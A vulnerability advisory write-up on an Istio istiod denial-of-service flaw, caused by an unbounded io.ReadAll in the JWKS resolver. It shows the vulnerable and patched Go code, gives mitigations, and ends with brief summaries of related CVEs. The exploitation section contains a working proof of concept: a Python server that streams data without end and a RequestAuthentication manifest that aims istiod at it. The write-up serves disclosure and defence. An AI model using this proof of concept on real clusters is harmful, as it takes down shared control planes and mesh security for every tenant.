Dec 5, 2026·9 min read·3 visits
An unbounded io.ReadAll call in Istio's JWKS resolver (pilot/pkg/model/jwks_resolver.go) allows low-privileged Kubernetes users who can create or update RequestAuthentication resources to crash the istiod control plane via out-of-memory exhaustion. Fixed in Istio 1.30.9, 1.31.5, and 1.32.1.
CVE-2026-145370 (GHSA-7vw6-2xxx-fch6) is a resource allocation vulnerability in the Istio control plane (istiod). Prior to versions 1.30.9, 1.31.5, and 1.32.1, the JWKS resolver routine getRemoteContentWithRetry used an unbounded io.ReadAll call to retrieve remote JWKS and OpenID discovery documents. An authenticated Kubernetes user with permissions to create or modify a RequestAuthentication custom resource can specify an endpoint that returns an arbitrarily large or infinite stream, exhausting control-plane memory and placing istiod into a persistent CrashLoopBackOff state.
Istio is a service mesh platform that manages traffic routing, telemetry, and security policies across containerized workloads. Its control plane component, istiod (specifically the Pilot subsystem), translates high-level Kubernetes Custom Resource Definitions (CRDs) into Envoy proxy configurations distributed via the xDS API. One of these custom resources is RequestAuthentication (requestauthentications.security.istio.io), which defines JSON Web Token (JWT) validation policies for workloads inside the mesh.
When a RequestAuthentication resource specifies a jwksUri or an issuer field, istiod resolves the public verification keys in the default configuration (PILOT_JWT_ENABLE_REMOTE_JWKS=false). Rather than delegating HTTP key retrieval to individual Envoy sidecar proxies, istiod performs an outbound HTTP request to the specified URI or OpenID Connect (OIDC) discovery endpoint, caches the resulting JSON Web Key Set (JWKS), and pushes the parsed public keys directly to the data plane.
CVE-2026-145370 (tracked also as GHSA-7vw6-2xxx-fch6) stems from improper resource bounding during this control-plane HTTP fetch (CWE-770: Allocation of Resources Without Limits or Throttling). In Istio versions prior to 1.30.9, 1.31.5, and 1.32.1, the HTTP response handler inside pilot/pkg/model/jwks_resolver.go reads the entire response stream into heap memory using Go's io.ReadAll without enforcing a maximum byte threshold.
An authenticated tenant or service account with RBAC permissions to create or update a RequestAuthentication resource in any watched namespace can configure jwksUri or issuer to point to an HTTP server that transmits a multi-gigabyte payload or an unbounded chunked stream. When istiod attempts to fetch the resource, its heap allocation grows until the container exceeds its Kubernetes memory cgroup limit and is terminated by the Linux kernel Out-Of-Memory (OOM) killer.
The root cause resides in the (*JwksResolver).getRemoteContentWithRetry method located in pilot/pkg/model/jwks_resolver.go. This helper method serves as the unified HTTP transport layer for three distinct operations in istiod: direct fetching of remote JWKS documents (GetPublicKey), querying OIDC .well-known/openid-configuration discovery metadata, and executing periodic background key rotation checks via JwksResolver.refresh().
When getRemoteContentWithRetry executes an HTTP GET request via r.httpClient.Do(req), it immediately passes the response body stream (resp.Body) to io.ReadAll(resp.Body). In the Go standard library, io.ReadAll reads from an io.Reader into a dynamically growing in-memory byte slice ([]byte) until an io.EOF signal or transport error occurs. Because Go's slice growth algorithm doubles buffer capacity when the underlying array fills, allocating a continuous stream causes heap memory consumption to spike to two to three times the size of the raw bytes received over the wire.
Crucially, the unbounded io.ReadAll operation takes place prior to any validation gates. The code does not verify whether resp.StatusCode indicates a valid 2xx status before reading the body, meaning even 404 Not Found or 500 Internal Server Error responses with arbitrarily large bodies are buffered completely into memory. Furthermore, the HTTP client does not inspect the Content-Length header, which is absent when an attacker employs HTTP Transfer-Encoding: chunked.
Once the RequestAuthentication object is persisted in etcd via the Kubernetes API server, the denial of service becomes self-sustaining. Whenever Kubernetes restarts the OOMKilled istiod pod, the controller synchronizes its informers against the cluster state, immediately encounters the malicious RequestAuthentication resource, and re-initiates the outbound HTTP fetch. This deterministic cycle places the entire control plane into a continuous CrashLoopBackOff state.
In vulnerable releases of Istio, getRemoteContentWithRetry in pilot/pkg/model/jwks_resolver.go reads the entire network stream into memory before performing status checks or size verification:
func (r *JwksResolver) getRemoteContentWithRetry(uri string, retry int, timeout time.Duration) ([]byte, error) {
// ... request setup omitted ...
resp, err := r.httpClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
// VULNERABLE: Unbounded read directly into heap memory prior to status or length check
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
message := strconv.Quote(string(body))
if len(message) > 100 {
message = message[:100]
return nil, fmt.Errorf("status %d, message %s(truncated)", resp.StatusCode, message)
}
return nil, fmt.Errorf("status %d, message %s", resp.StatusCode, message)
}
return body, nil
}Note that even inside the error handling block (resp.StatusCode < 200 || resp.StatusCode >= 300), the vulnerable code converts the entire body slice into a string and runs strconv.Quote(string(body)) before truncating the resulting string to 100 characters. For a multi-hundred-megabyte error response, strconv.Quote allocates a second and third massive buffer on the heap, accelerating memory exhaustion.
The official patch (applied in commits 3a80c2e020ce5ba8c096423e78a4e59ed5b20101, 8abc60d84f03f4d0087dca74b9835a2c25bac747, and c1bbe7a88404e66a3761a735815515bac6588704) resolves this by introducing a configurable environment limit in pilot/pkg/features/pilot.go and wrapping resp.Body with io.LimitReader:
// pilot/pkg/features/pilot.go
JwksResolverMaxResponseBytes = env.Register[int64]("PILOT_JWKS_RESOLVER_MAX_RESPONSE_BYTES",
1024*1024,
"Maximum size in bytes of a JWKS or OpenID discovery HTTP response that istiod will read into "+
"memory. Responses larger than this are rejected. Real JWKS documents are only a few KB; this "+
"bound prevents a malicious or compromised JWKS endpoint (referenced by a RequestAuthentication) "+
"from exhausting control-plane memory.").Get()// pilot/pkg/model/jwks_resolver.go
maxBytes := features.JwksResolverMaxResponseBytes
// Bound the read to maxBytes+1 to detect responses exceeding the threshold
body, err := io.ReadAll(io.LimitReader(resp.Body, maxBytes+1))
if err != nil {
return nil, err
}
oversized := int64(len(body)) > maxBytes
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
// Cap the slice prior to string conversion and quoting to prevent memory duplication
snippet := body
if len(snippet) > 512 {
snippet = snippet[:512]
}
message := strconv.Quote(string(snippet))
if len(message) > 100 {
message = message[:100]
return nil, fmt.Errorf("status %d, message %s(truncated)", resp.StatusCode, message)
}
return nil, fmt.Errorf("status %d, message %s", resp.StatusCode, message)
}
if oversized {
return nil, fmt.Errorf("response from %q exceeds the maximum allowed size of %d bytes", uri, maxBytes)
}
return body, nilThe fix is complete for this code path. By wrapping resp.Body in io.LimitReader(resp.Body, maxBytes+1), io.ReadAll can never allocate more than 1 MiB + 1 byte (by default) per request. Reading maxBytes + 1 allows the implementation to distinguish between a valid response of exactly 1,048,576 bytes and an oversized stream that was truncated at the limit. Additionally, slicing body to 512 bytes before invoking strconv.Quote eliminates secondary heap allocations during non-2xx error formatting.
Exploiting CVE-2026-145370 requires two prerequisites: low-privilege Kubernetes RBAC authorization permitting create, update, or patch operations on requestauthentications.security.istio.io in at least one namespace monitored by istiod, and network egress reachability from the istiod pod to an attacker-controlled HTTP listener (which can reside inside the cluster as a standard pod or externally).
First, the attacker deploys an HTTP server designed to transmit an infinite chunked HTTP response. Using chunked transfer encoding bypasses any potential content-length headers and continuously pushes 64 KB chunks over the TCP socket as fast as istiod reads them:
from http.server import HTTPServer, BaseHTTPRequestHandler
class InfiniteStreamHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.send_header('Transfer-Encoding', 'chunked')
self.end_headers()
chunk = b'A' * 65536
frame = f"{len(chunk):X}\r\n".encode() + chunk + b"\r\n"
while True:
try:
self.wfile.write(frame)
self.wfile.flush()
except Exception:
break
HTTPServer(('0.0.0.0', 8080), InfiniteStreamHandler).serve_forever()Second, the attacker submits a RequestAuthentication manifest referencing the streaming server in the jwksUri field:
apiVersion: security.istio.io/v1beta1
kind: RequestAuthentication
metadata:
name: malicious-jwks-policy
namespace: tenant-ns
spec:
selector:
matchLabels:
app: target-workload
jwtRules:
- issuer: "https://issuer.example.com"
jwksUri: "http://malicious-stream.tenant-ns.svc.cluster.local:8080/jwks.json"> [!NOTE]
> Alternatively, the attacker can omit jwksUri and point the issuer field to http://malicious-stream.tenant-ns.svc.cluster.local:8080. When jwksUri is omitted, istiod appends /.well-known/openid-configuration to the issuer URI and invokes the exact same getRemoteContentWithRetry method.
Within milliseconds of applying the resource, istiod initiates the HTTP GET request and begins buffering the infinite stream before the request timeout (timeout time.Duration) expires. Across standard local or intra-cluster gigabit links, istiod ingests hundreds of megabytes per second, exhausting a typical 2 GiB container memory limit in under three seconds and triggering an immediate SIGKILL (OOMKilled).
CVE-2026-145370 carries a CVSS v3.1 score of 7.7 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H. The Scope metric is rated as Changed (S:C) because a low-privileged user operating within the confines of an isolated application namespace (PR:L) can compromise the availability of the cluster-wide service mesh control plane.
When istiod enters a persistent CrashLoopBackOff state, existing Envoy sidecar proxies continue forwarding traffic using their last known good configuration snapshot, preventing an immediate data-plane blackout. However, all dynamic control-plane functions across the entire Kubernetes cluster cease immediately:
AuthorizationPolicy, PeerAuthentication, and RequestAuthentication objects across all namespaces cannot be compiled or distributed to Envoy proxies.istiod acts as the mesh Certificate Authority (CA) responsible for signing workload mTLS certificates (SPIFFE identities) via the Secret Discovery Service (SDS). A prolonged istiod outage prevents workload certificate rotation, eventually leading to mesh-wide mTLS handshake failures as existing leaf certificates expire.In high-availability deployments running multiple istiod replicas, every replica watches the same Kubernetes API server state. Consequently, all istiod pods process the malicious RequestAuthentication CRD simultaneously, exhausting memory across the entire replica set and eliminating control-plane redundancy.
The primary remediation is to upgrade the Istio control plane (istiod) to a patched release that enforces the 1 MiB response size bound via io.LimitReader. Users must upgrade to one of the following versions:
Once upgraded, operators with unusual identity provider configurations that serve legitimate JWKS documents larger than 1 MiB can tune the ceiling via the PILOT_JWKS_RESOLVER_MAX_RESPONSE_BYTES environment variable on the istiod Deployment. Conversely, security teams can lower this threshold (e.g., to 65536 bytes / 64 KiB) to tighten memory bounds further, as standard cryptographic key sets rarely exceed 10 KiB.
If an immediate control-plane upgrade is not feasible, administrators should implement three defense-in-depth mitigations:
Role and ClusterRole bindings to revoke create, update, and patch permissions on requestauthentications.security.istio.io from untrusted tenant roles or automated CI/CD service accounts.spec.jwtRules[*].jwksUri and spec.jwtRules[*].issuer on RequestAuthentication objects, permitting only HTTPS URLs matching an explicit allowlist of trusted corporate Identity Provider domains.NetworkPolicy to the istio-system namespace restricting outbound TCP egress from istiod pods so they can only establish connections to known external IdP IP ranges and the Kubernetes API server, blocking istiod from connecting to arbitrary in-cluster workload pods.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Istio Istio | >= 1.30.0, < 1.30.9 | 1.30.9 |
Istio Istio | >= 1.31.0, < 1.31.5 | 1.31.5 |
Istio Istio | >= 1.32.0, < 1.32.1 | 1.32.1 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-145370 (GHSA-7vw6-2xxx-fch6) |
| CWE Classification | CWE-770: Allocation of Resources Without Limits or Throttling |
| CVSS v3.1 Score | 7.7 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H) |
| Affected Component | istiod / Pilot (pilot/pkg/model/jwks_resolver.go) |
| Attack Vector | Network via RequestAuthentication Custom Resource |
| Primary Impact | Control-Plane OOMKilled & Persistent CrashLoopBackOff |
| Patched Versions | Istio 1.30.9, 1.31.5, 1.32.1 |
| CISA KEV Status | Not Listed |
The software allocates a finite resource (heap memory) without limiting the maximum amount of resource that can be allocated, allowing consumption of resources out of proportion to the sender's privileges.
CVE-2026-144342 (GHSA-jcqr-c9r9-vgjh) is an uncontrolled resource consumption vulnerability in the Python filelock package affecting Windows environments. When applications utilize the StrictSoftFileLock locking protocol in directories shared across multiple local accounts, a low-privileged user with read-only access can exploit Windows NTFS opportunistic locking (oplock) semantics on aged, abandoned private claim records. By holding an unacknowledged read oplock on a stale temporary file, an attacker forces subsequent lock claimants attempting to unlink the record during directory reclamation scans into an indefinite kernel-level I/O wait, bypassing configured acquisition timeout limits.
A cross-namespace isolation bypass vulnerability exists in the Istio control plane (istiod) affecting versions 1.30.0 through 1.30.8, 1.31.0 through 1.31.4, and 1.32.0. The strict gateway merging protection mechanism relies solely on user-modifiable Kubernetes resource annotations to identify internal configurations synthesized by the Kubernetes Gateway API controller. Because the admission validation webhook fails to block unprivileged users from specifying the internal.istio.io/gateway-semantics and internal.istio.io/service-account-name annotations on Istio Gateway custom resources, an attacker with permissions to create or update Gateway objects in a single tenant namespace can bypass namespace isolation. This allows the attacker to merge arbitrary listeners and host definitions into managed Gateway API proxy workloads operating in foreign namespaces.
CVE-2026-145372 is a denial of service vulnerability affecting the Istio service mesh control plane (istiod) across the 1.30.x, 1.31.x, and 1.32.x branches. When Kubernetes Gateway API support is explicitly disabled via the PILOT_ENABLE_GATEWAY_API=false flag, two distinct code paths in Pilot invoke methods on the uninitialized GatewayAPIController structure without checking for a nil receiver. An authenticated Kubernetes user with standard namespace-scoped permissions can trigger an unhandled Go runtime panic by applying the gateway.networking.k8s.io/gateway-name label to a sidecar-injected pod or creating an Istio Gateway custom resource containing a cross-namespace TLS secret reference. Because istiod continuously reconciles cluster state upon restart, the control plane enters a persistent CrashLoopBackOff state, halting mesh-wide xDS configuration distribution, mTLS certificate rotation, and admission webhook operations.
CVE-2026-145368 (GHSA-r567-vfff-9c27) is a NULL pointer dereference vulnerability (CWE-476) in the Istio service mesh control plane daemon (istiod). When an xDS client transmits a configuration rejection (NACK) containing an error_detail field for a resource type URL to which the gRPC stream was never subscribed, istiod invokes an internal resource update closure with a nil WatchedResource pointer. Both State-of-the-World (SotW) and Delta Aggregated Discovery Service (ADS) implementations unconditionally dereference this pointer, triggering an unhandled Go runtime panic that terminates the istiod process.
CVE-2026-145371 (GHSA-g435-phf9-7g5m) is a high-severity denial-of-service vulnerability affecting the Istio service mesh control plane (istiod). The flaw resides in the waypoint inbound cluster generation logic used by Istio Ambient mode (`pilot/pkg/networking/core/cluster_waypoint.go`). When an authenticated user with namespace-scoped permissions creates or modifies a `ServiceEntry` configured with `DNS` or `DNS_ROUND_ROBIN` resolution that resolves to zero endpoints, the internal `buildCluster` method returns a `nil` pointer. The calling function `buildWaypointInboundVIPCluster` fails to check for `nil` before dereferencing the returned structure, resulting in an unhandled runtime panic that terminates `istiod` and puts the entire mesh control plane into a continuous crash loop.
CVE-2026-140229 (GHSA-9239-v992-p74f) is a denial-of-service vulnerability in the node-tar archive extraction library prior to version 8.0.0. The vulnerability occurs because the maxDecompressionRatio check is performed after the underlying zlib decompression stream has already inflated and materialized input chunks into memory. An attacker supplying a crafted, highly compressed archive can force the Node.js runtime to allocate unbounded memory buffers before the ratio limit is evaluated, terminating the process via an Out of Memory (OOM) crash.